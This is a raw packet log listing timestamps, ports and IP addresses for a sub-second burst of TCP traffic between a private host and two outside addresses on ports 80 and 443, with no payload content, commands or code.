Oct 30, 2024 04:35:33.245886087 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.245934963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.245966911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.245976925 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.245997906 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.246006012 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.246016979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.246040106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.246064901 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.246248960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.246285915 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.246294975 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.246300936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.246325970 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.246350050 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.246608019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.246645927 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.246651888 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.246663094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.246684074 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.246706009 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.246932983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.246947050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.246970892 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.246977091 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.246998072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.247016907 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.247040033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.247064114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.247081041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.247087002 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.247097969 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.247127056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.294286013 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.294303894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.294317007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.294347048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.294383049 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.333379030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.333398104 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.333410025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.333424091 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.333444118 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.333482027 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.343274117 CET	443	49988	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:33.343539000 CET	443	49988	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:33.343615055 CET	49988	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:33.363132954 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363184929 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363204002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363210917 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.363215923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363229990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363241911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363254070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363257885 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.363302946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.363625050 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363646030 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363667011 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.363701105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363703012 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.363744020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.363750935 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363769054 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363785982 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.363790989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.363811016 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.363833904 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.364311934 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.364325047 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.364336014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.364360094 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.364382029 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.364746094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.364758968 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.364784002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.364789963 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.364797115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.364810944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.364836931 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.364878893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.364989996 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.365001917 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.365014076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.365051985 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.365078926 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.389694929 CET	49988	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:33.389760017 CET	443	49988	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:33.407963037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.407975912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.407985926 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.407999039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.408013105 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.408046961 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.450953960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.450994968 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.451009035 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.451019049 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.451040983 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.451061964 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.480997086 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481048107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481071949 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.481075048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481089115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481100082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481116056 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.481144905 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.481144905 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481157064 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481180906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.481220961 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.481229067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481241941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481259108 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481273890 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.481286049 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.481308937 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.481460094 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481472015 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.481498957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.481522083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.482009888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482023001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482033014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482050896 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.482074976 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.482703924 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482748985 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.482755899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482779026 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482808113 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.482826948 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.482847929 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482860088 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482872009 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482884884 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482889891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.482903004 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.482939005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482947111 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.482974052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.482984066 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.483011007 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.483138084 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.483177900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.525732040 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.525748014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.525758028 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.525810957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.525878906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.568731070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.568742037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.568748951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.568754911 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.568922043 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.568969011 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.598643064 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.598665953 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.598678112 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.598696947 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.598728895 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.598736048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.598747969 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.598759890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.598773003 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.598779917 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.598818064 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.598860025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.598871946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.598882914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.598903894 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.598938942 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.599667072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.599710941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.599744081 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.599754095 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.599764109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.599786043 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.599822044 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.600301981 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600342989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600347996 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.600383997 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.600394011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600411892 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600423098 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600436926 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.600449085 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.600478888 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.600640059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600650072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600682020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.600693941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.600759029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600769997 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600781918 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600800991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.600825071 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.600873947 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600884914 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.600914001 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.600946903 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.601242065 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.601265907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.601277113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.601286888 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.601298094 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.601324081 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.643390894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.643404007 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.643414021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.643470049 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.643497944 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.686429977 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.686445951 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.686458111 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.686523914 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.686578989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.716671944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.716686964 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.716697931 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.716746092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.716766119 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.716768026 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.716779947 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.716790915 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.716801882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.716820002 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.716823101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.716846943 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.716867924 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.717340946 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.717382908 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.717423916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.717434883 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.717441082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.717480898 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718030930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718075037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718076944 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718090057 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718115091 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718126059 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718138933 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718144894 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718167067 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718190908 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718285084 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718317986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718324900 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718331099 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718353033 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718381882 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718389988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718401909 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718432903 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718718052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718760967 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718767881 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718779087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718813896 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718844891 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.718955994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718980074 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718991041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.718997955 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.719011068 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.719043970 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.761205912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.761235952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.761245966 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.761257887 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.761300087 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.761334896 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.804105043 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.804148912 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.804161072 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.804193020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.804225922 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.834459066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.834471941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.834484100 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.834530115 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.834536076 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.834542990 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.834599972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.834600925 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.834609985 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.834649086 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.835172892 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.835185051 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.835196018 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.835215092 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.835267067 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.835705042 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.835721970 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.835757971 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.835762978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.835786104 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.835819960 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.835832119 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.835844994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.835856915 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.835880041 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.835907936 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.836119890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.836163998 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.836167097 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.836179972 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.836208105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.836224079 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.836236954 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.836262941 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.836503029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.836532116 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.836544037 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.836555958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.836568117 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.836601019 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.836608887 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.836626053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.836663961 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.837044001 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.837054968 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.837100983 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.837323904 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.837335110 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.837369919 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.878957987 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.878969908 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.878981113 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.878985882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.879055023 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.879085064 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:33.921864033 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.921876907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.921889067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:33.921917915 CET	49986	80	192.168.2.7	185.215.113.16
